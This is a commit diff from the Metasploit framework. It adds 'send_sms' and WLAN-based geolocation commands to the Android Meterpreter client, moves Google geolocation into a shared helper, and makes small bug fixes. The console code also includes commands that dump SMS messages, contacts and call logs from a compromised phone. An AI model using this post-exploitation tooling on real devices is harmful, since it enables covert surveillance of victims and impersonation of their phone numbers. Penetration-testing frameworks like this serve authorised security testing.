Land #5748, refactor google geolocate, add wlan_geolocate and send_sms to android meterpreter

bug/bundler_fix
Brent Cook 2015-08-16 10:58:17 -05:00
commit 5dd015150c
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
10 changed files with 363 additions and 160 deletions

View File

@ -9,7 +9,7 @@ PATH
json json
metasploit-concern (= 1.0.0) metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0) metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.7) metasploit-payloads (= 1.0.8)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0) activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.7) metasploit-payloads (1.0.8)
metasploit_data_models (1.2.5) metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)

View File

@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response):
if not proc_h_id: if not proc_h_id:
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
proc_h_id = proc_h_id['value'] proc_h_id = proc_h_id['value']
del meterpreter.processes[proc_h_id] if meterpreter.processes.has_key(proc_h_id):
del meterpreter.processes[proc_h_id]
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function @meterpreter.register_function

View File

@ -169,6 +169,7 @@ module Msf::Post::Common
# through /bin/sh, solving all the pesky parsing troubles, without # through /bin/sh, solving all the pesky parsing troubles, without
# affecting Windows. # affecting Windows.
# #
start = Time.now.to_i
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
args = "" args = ""
end end
@ -176,9 +177,17 @@ module Msf::Post::Common
session.response_timeout = time_out session.response_timeout = time_out
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
o = "" o = ""
# Wait up to time_out seconds for the first bytes to arrive
while (d = process.channel.read) while (d = process.channel.read)
break if d == "" if d == ""
o << d if (Time.now.to_i - start < time_out) && (o == '')
sleep 0.1
else
break
end
else
o << d
end
end end
o.chomp! if o o.chomp! if o

68
lib/rex/google/geolocation.rb Executable file
View File

@ -0,0 +1,68 @@
#!/usr/bin/env ruby
require 'net/http'
require 'json'
module Rex
module Google
# @example
# g = Rex::Google::Geolocation.new
# g.add_wlan("00:11:22:33:44:55", "example", -80)
# g.fetch!
# puts g, g.google_maps_url
class Geolocation
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
attr_accessor :accuracy
attr_accessor :latitude
attr_accessor :longitude
def initialize
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
@wlan_list = []
end
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
# addresses of access points), ESSIDs (AP names), and signal strengths.
def fetch!
@uri.query << @wlan_list.take(10).join("&wifi=")
request = Net::HTTP::Get.new(@uri.request_uri)
http = Net::HTTP.new(@uri.host, @uri.port)
http.use_ssl = true
response = http.request(request)
if response && response.code == '200'
results = JSON.parse(response.body)
self.latitude = results["location"]["lat"]
self.longitude = results["location"]["lng"]
self.accuracy = results["accuracy"]
else
msg = "Failure connecting to Google for location lookup."
msg += " Code #{response.code} for query #{@uri}" if response
fail msg
end
end
# Add an AP to the list to send to Google when {#fetch!} is called.
#
# Turns out Google's API doesn't really care about ESSID or signal strength
# as long as you have BSSIDs. Presumably adding them will make it more
# accurate? Who knows.
#
# @param mac [String] in the form "00:11:22:33:44:55"
# @param ssid [String] ESSID associated with the mac
# @param signal_strength [String] a thing like
def add_wlan(mac, ssid = nil, signal_strength = nil)
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
end
def google_maps_url
"https://maps.google.com/?q=#{latitude},#{longitude}"
end
def to_s
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
end
end
end
end

View File

@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/channels/pools/stream_pool' require 'rex/post/meterpreter/channels/pools/stream_pool'
module Rex module Rex
module Post module Post
module Meterpreter module Meterpreter
module Extensions module Extensions
module Android module Android
### ###
# Android extension - set of commands to be executed on android devices. # Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy) # extension by Anwar Mohamed (@anwarelmakrahy)
### ###
class Android < Extension class Android < Extension
def initialize(client) def initialize(client)
super(client, 'android') super(client, 'android')
@ -30,88 +25,77 @@ class Android < Extension
{ {
'name' => 'android', 'name' => 'android',
'ext' => self 'ext' => self
}, }
]) ])
end end
def device_shutdown(n) def device_shutdown(n)
request = Packet.create_request('device_shutdown') request = Packet.create_request('device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request) response = client.send_request(request)
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end end
def dump_sms def dump_sms
sms = Array.new sms = []
request = Packet.create_request('dump_sms') request = Packet.create_request('dump_sms')
response = client.send_request(request) response = client.send_request(request)
response.each( TLV_TYPE_SMS_GROUP ) { |p| response.each(TLV_TYPE_SMS_GROUP) do |p|
sms << {
sms <<
{
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
} }
end
} sms
return sms
end end
def dump_contacts def dump_contacts
contacts = Array.new contacts = []
request = Packet.create_request('dump_contacts') request = Packet.create_request('dump_contacts')
response = client.send_request(request) response = client.send_request(request)
response.each( TLV_TYPE_CONTACT_GROUP ) { |p| response.each(TLV_TYPE_CONTACT_GROUP) do |p|
contacts << {
contacts <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
} }
end
} contacts
return contacts
end end
def geolocate def geolocate
loc = []
loc = Array.new
request = Packet.create_request('geolocate') request = Packet.create_request('geolocate')
response = client.send_request(request) response = client.send_request(request)
loc << loc << {
{
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
} }
return loc loc
end end
def dump_calllog def dump_calllog
log = Array.new log = []
request = Packet.create_request('dump_calllog') request = Packet.create_request('dump_calllog')
response = client.send_request(request) response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) { |p| response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
log << {
log <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
} }
end
} log
return log
end end
def check_root def check_root
@ -119,8 +103,38 @@ class Android < Extension
response = client.send_request(request) response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end end
end
def send_sms(dest, body, dr)
request = Packet.create_request('send_sms')
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
request.add_tlv(TLV_TYPE_SMS_BODY, body)
request.add_tlv(TLV_TYPE_SMS_DR, dr)
if dr == false
response = client.send_request(request)
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
return sr
else
response = client.send_request(request, 30)
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
return [sr, dr]
end
end
def wlan_geolocate
request = Packet.create_request('wlan_geolocate')
response = client.send_request(request, 30)
networks = []
response.each(TLV_TYPE_WLAN_GROUP) do |p|
networks << {
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
}
end
networks
end
end
end end
end end
end end

View File

@ -33,6 +33,15 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
end end
end end
end end

View File

@ -1,17 +1,16 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'rex/post/meterpreter' require 'rex/post/meterpreter'
require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/report'
require 'rex/google/geolocation'
module Rex module Rex
module Post module Post
module Meterpreter module Meterpreter
module Ui module Ui
### ###
# Android extension - set of commands to be executed on android devices. # Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy) # extension by Anwar Mohamed (@anwarelmakrahy)
### ###
class Console::CommandDispatcher::Android class Console::CommandDispatcher::Android
include Console::CommandDispatcher include Console::CommandDispatcher
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -26,7 +25,9 @@ class Console::CommandDispatcher::Android
'geolocate' => 'Get current lat-long using geolocation', 'geolocate' => 'Get current lat-long using geolocation',
'dump_calllog' => 'Get call log', 'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted', 'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device' 'device_shutdown' => 'Shutdown device',
'send_sms' => 'Sends SMS from target session',
'wlan_geolocate' => 'Get current lat-long using WLAN information'
} }
reqs = { reqs = {
@ -35,24 +36,25 @@ class Console::CommandDispatcher::Android
'geolocate' => [ 'geolocate' ], 'geolocate' => [ 'geolocate' ],
'dump_calllog' => [ 'dump_calllog' ], 'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ], 'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown'] 'device_shutdown' => [ 'device_shutdown'],
'send_sms' => [ 'send_sms' ],
'wlan_geolocate' => [ 'wlan_geolocate' ]
} }
# Ensure any requirements of the command are met # Ensure any requirements of the command are met
all.delete_if do |cmd, desc| all.delete_if do |cmd, _desc|
reqs[cmd].any? { |req| not client.commands.include?(req) } reqs[cmd].any? { |req| !client.commands.include?(req) }
end end
end end
def cmd_device_shutdown(*args) def cmd_device_shutdown(*args)
seconds = 0 seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new( device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds'] '-t' => [ false, 'Shutdown after n seconds']
) )
device_shutdown_opts.parse(args) { | opt, idx, val | device_shutdown_opts.parse(args) do |opt, _idx, val|
case opt case opt
when '-h' when '-h'
print_line('Usage: device_shutdown [options]') print_line('Usage: device_shutdown [options]')
@ -62,26 +64,25 @@ class Console::CommandDispatcher::Android
when '-t' when '-t'
seconds = val.to_i seconds = val.to_i
end end
} end
res = client.android.device_shutdown(seconds) res = client.android.device_shutdown(seconds)
if res if res
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
else else
print_error('Device shutdown failed') print_error('Device shutdown failed')
end end
end end
def cmd_dump_sms(*args)
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new( dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list'] '-o' => [ false, 'Output path for sms list']
) )
dump_sms_opts.parse(args) { | opt, idx, val | dump_sms_opts.parse(args) do |opt, _idx, val|
case opt case opt
when '-h' when '-h'
print_line('Usage: dump_sms [options]') print_line('Usage: dump_sms [options]')
@ -91,19 +92,18 @@ class Console::CommandDispatcher::Android
when '-o' when '-o'
path = val path = val
end end
} end
smsList = [] sms_list = client.android.dump_sms
smsList = client.android.dump_sms
if smsList.count > 0 if sms_list.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
begin begin
info = client.sys.config.sysinfo info = client.sys.config.sysinfo
data = "" data = ""
data << "\n=====================\n" data << "\n=====================\n"
data << "[+] Sms messages dump\n" data << "[+] SMS messages dump\n"
data << "=====================\n\n" data << "=====================\n\n"
time = Time.new time = Time.new
@ -112,8 +112,7 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n" data << "Remote Port: #{client.sock.peerport}\n\n"
smsList.each_with_index { |a, index| sms_list.each_with_index do |a, index|
data << "##{index.to_i + 1}\n" data << "##{index.to_i + 1}\n"
type = 'Unknown' type = 'Unknown'
@ -147,14 +146,14 @@ class Console::CommandDispatcher::Android
data << "Address\t: #{a['address']}\n" data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n" data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n" data << "Message\t: #{a['body']}\n\n"
} end
::File.write(path, data) ::File.write(path, data)
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
return true return true
rescue rescue
print_error("Error getting messages: #{$!}") print_error("Error getting messages: #{$ERROR_INFO}")
return false return false
end end
else else
@ -163,18 +162,15 @@ class Console::CommandDispatcher::Android
end end
end end
def cmd_dump_contacts(*args) def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_contacts_opts = Rex::Parser::Arguments.new(
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for contacts list'] '-o' => [ false, 'Output path for contacts list']
) )
dump_contacts_opts.parse(args) { | opt, idx, val | dump_contacts_opts.parse(args) do |opt, _idx, val|
case opt case opt
when '-h' when '-h'
print_line('Usage: dump_contacts [options]') print_line('Usage: dump_contacts [options]')
@ -184,13 +180,12 @@ class Console::CommandDispatcher::Android
when '-o' when '-o'
path = val path = val
end end
} end
contactList = [] contact_list = client.android.dump_contacts
contactList = client.android.dump_contacts
if contactList.count > 0 if contact_list.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
begin begin
info = client.sys.config.sysinfo info = client.sys.config.sysinfo
@ -205,32 +200,28 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n" data << "Remote Port: #{client.sock.peerport}\n\n"
contactList.each_with_index { |c, index| contact_list.each_with_index do |c, index|
data << "##{index.to_i + 1}\n" data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n" data << "Name\t: #{c['name']}\n"
if c['number'].count > 0 c['number'].each do |n|
(c['number']).each { |n| data << "Number\t: #{n}\n"
data << "Number\t: #{n}\n"
}
end end
if c['email'].count > 0 c['email'].each do |n|
(c['email']).each { |n| data << "Email\t: #{n}\n"
data << "Email\t: #{n}\n"
}
end end
data << "\n" data << "\n"
} end
::File.write(path, data) ::File.write(path, data)
print_status("Contacts list saved to: #{path}") print_status("Contacts list saved to: #{path}")
return true return true
rescue rescue
print_error("Error getting contacts list: #{$!}") print_error("Error getting contacts list: #{$ERROR_INFO}")
return false return false
end end
else else
@ -243,13 +234,11 @@ class Console::CommandDispatcher::Android
generate_map = false generate_map = false
geolocate_opts = Rex::Parser::Arguments.new( geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ], '-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps'] '-g' => [ false, 'Generate map using google-maps']
) )
geolocate_opts.parse(args) { | opt, idx, val | geolocate_opts.parse(args) do |opt, _idx, _val|
case opt case opt
when '-h' when '-h'
print_line('Usage: geolocate [options]') print_line('Usage: geolocate [options]')
@ -259,7 +248,7 @@ class Console::CommandDispatcher::Android
when '-g' when '-g'
generate_map = true generate_map = true
end end
} end
geo = client.android.geolocate geo = client.android.geolocate
@ -278,7 +267,6 @@ class Console::CommandDispatcher::Android
end end
def cmd_dump_calllog(*args) def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new( dump_calllog_opts = Rex::Parser::Arguments.new(
@ -287,7 +275,7 @@ class Console::CommandDispatcher::Android
) )
dump_calllog_opts.parse(args) { | opt, idx, val | dump_calllog_opts.parse(args) do |opt, _idx, val|
case opt case opt
when '-h' when '-h'
print_line('Usage: dump_calllog [options]') print_line('Usage: dump_calllog [options]')
@ -297,12 +285,12 @@ class Console::CommandDispatcher::Android
when '-o' when '-o'
path = val path = val
end end
} end
log = client.android.dump_calllog log = client.android.dump_calllog
if log.count > 0 if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
begin begin
info = client.sys.config.sysinfo info = client.sys.config.sysinfo
@ -317,23 +305,21 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n" data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index { |a, index| log.each_with_index do |a, index|
data << "##{index.to_i + 1}\n" data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n" data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n" data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n" data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n" data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n" data << "Duration: #{a['duration']}\n\n"
} end
::File.write(path, data) ::File.write(path, data)
print_status("Call log saved to #{path}") print_status("Call log saved to #{path}")
return true return true
rescue rescue
print_error("Error getting call log: #{$!}") print_error("Error getting call log: #{$ERROR_INFO}")
return false return false
end end
else else
@ -342,14 +328,13 @@ class Console::CommandDispatcher::Android
end end
end end
def cmd_check_root(*args) def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new( check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ] '-h' => [ false, 'Help Banner' ]
) )
check_root_opts.parse(args) { | opt, idx, val | check_root_opts.parse(args) do |opt, _idx, _val|
case opt case opt
when '-h' when '-h'
print_line('Usage: check_root [options]') print_line('Usage: check_root [options]')
@ -357,26 +342,123 @@ class Console::CommandDispatcher::Android
print_line(check_root_opts.usage) print_line(check_root_opts.usage)
return return
end end
} end
is_rooted = client.android.check_root is_rooted = client.android.check_root
if is_rooted if is_rooted
print_good('Device is rooted') print_good('Device is rooted')
elsif else
print_status('Device is not rooted') print_status('Device is not rooted')
end end
end end
def cmd_send_sms(*args)
send_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Destination number' ],
'-t' => [ true, 'SMS body text' ],
'-dr' => [ false, 'Wait for delivery report' ]
)
dest = ''
body = ''
dr = false
send_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: send_sms -d <number> -t <sms body>')
print_line('Sends SMS messages to specified number.')
print_line(send_sms_opts.usage)
return
when '-d'
dest = val
when '-t'
body = val
when '-dr'
dr = true
end
end
if dest.blank? || body.blank?
print_error("You must enter both a destination address -d and the SMS text body -t")
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
print_line(send_sms_opts.usage)
return
end
sent = client.android.send_sms(dest, body, dr)
if dr
if sent[0] == "Transmission successful"
print_good("SMS sent - #{sent[0]}")
else
print_error("SMS send failed - #{sent[0]}")
end
if sent[1] == "Transmission successful"
print_good("SMS delivered - #{sent[1]}")
else
print_error("SMS delivery failed - #{sent[1]}")
end
else
if sent == "Transmission successful"
print_good("SMS sent - #{sent}")
else
print_error("SMS send failed - #{sent}")
end
end
end
def cmd_wlan_geolocate(*args)
wlan_geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: wlan_geolocate')
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
print_line(wlan_geolocate_opts.usage)
return
end
end
log = client.android.wlan_geolocate
wlan_list = []
log.each do |x|
mac = x['bssid']
ssid = x['ssid']
ss = x['level']
wlan_list << [mac, ssid, ss.to_s]
end
if wlan_list.blank?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return
end
g = Rex::Google::Geolocation.new
wlan_list.each do |wlan|
g.add_wlan(*wlan)
end
begin
g.fetch!
rescue RuntimeError => e
print_error("Error: #{e}")
else
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end
end
# #
# Name for this dispatcher # Name for this dispatcher
# #
def name def name
'Android' 'Android'
end end
end
end
end end
end end
end end

View File

@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0' spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' spec.add_runtime_dependency 'metasploit-payloads', '1.0.8'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler # Needed by anemone crawler

View File

@ -5,8 +5,7 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
require 'json' require 'rex/google/geolocation'
require 'net/http'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
@ -40,78 +39,68 @@ class Metasploit3 < Msf::Post
end end
def parse_wireless_win(listing) def parse_wireless_win(listing)
wlan_list = '' wlan_list = []
raw_networks = listing.split("\r\n\r\n") raw_networks = listing.split("\r\n\r\n")
raw_networks.each { |network| raw_networks.each do |network|
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
if !details.nil? if !details.nil?
strength = get_strength(details[3]) strength = get_strength(details[3])
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" wlan_list << [ details[2], details[1], strength ]
wlan_list << network_data end
end end
}
return wlan_list return wlan_list
end end
def parse_wireless_linux(listing) def parse_wireless_linux(listing)
wlan_list = '' wlan_list = []
raw_networks = listing.split("Cell ") raw_networks = listing.split("Cell ")
raw_networks.each { |network| raw_networks.each do |network|
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
if !details.nil? if !details.nil?
network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" wlan_list << [ details[1], details[3], details[2] ]
wlan_list << network_data end
end end
}
return wlan_list return wlan_list
end end
def parse_wireless_osx(listing) def parse_wireless_osx(listing)
wlan_list = '' wlan_list = []
raw_networks = listing.split("\n") raw_networks = listing.split("\n")
raw_networks.each { |network| raw_networks.each do |network|
network = network.strip network = network.strip
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
if !details.nil? if !details.nil?
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" wlan_list << [ details[2], details[1], details[3] ]
wlan_list << network_data end
end end
}
return wlan_list return wlan_list
end end
def perform_geolocation(wlan_list) def perform_geolocation(wlan_list)
if wlan_list.blank? if wlan_list.blank?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return return
end end
g = Rex::Google::Geolocation.new
# Build and send the request to Google wlan_list.each do |wlan|
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" g.add_wlan(*wlan)
uri = URI.parse(URI.encode(url)) end
request = Net::HTTP::Get.new(uri.request_uri)
http = Net::HTTP::new(uri.host,uri.port)
http.use_ssl = true
response = http.request(request)
# Gather the required information from the response begin
if response && response.code == '200' g.fetch!
results = JSON.parse(response.body) rescue RuntimeError => e
latitude = results["location"]["lat"] print_error("Error: #{e}")
longitude = results["location"]["lng"]
accuracy = results["accuracy"]
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
else else
print_error("Failure connecting to Google for location lookup.") print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end end
end end
